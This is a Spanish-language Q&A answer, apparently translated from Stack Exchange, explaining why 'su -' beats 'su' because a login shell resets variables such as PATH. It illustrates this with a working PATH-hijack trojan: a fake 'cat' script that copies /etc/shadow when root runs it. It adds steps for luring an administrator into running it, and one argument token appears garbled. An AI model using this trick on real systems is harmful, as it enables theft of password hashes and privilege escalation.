No entiendo por qué su -
se prefiere a su
para iniciar sesión como root.
Respuesta aceptada:
su -
invoca un shell de inicio de sesión después de cambiar de usuario. Un shell de inicio de sesión restablece la mayoría de las variables de entorno, proporcionando una base limpia.
su
simplemente cambia de usuario, proporcionando un shell normal con un entorno casi igual al del usuario anterior.
Imagínese, usted es un desarrollador de software con acceso de usuario normal a una máquina y su administrador ignorante simplemente no le dará acceso de root. Vamos a (con suerte) engañarlo.
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
Ahora, pregúntele a su administrador por qué no puede cat
el archivo ficticio en su carpeta de inicio, ¡simplemente no funcionará!
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
Si su administrador no es tan inteligente o simplemente un poco perezoso, podría venir a su escritorio y probar con sus poderes de superusuario:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
¡Guau! ¡Gracias, superadministrador!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
Él, él.
Tal vez hayas notado que el $PATH
corrupto la variable no se restableció. Esto no habría sucedido si el administrador invocara su -
en su lugar.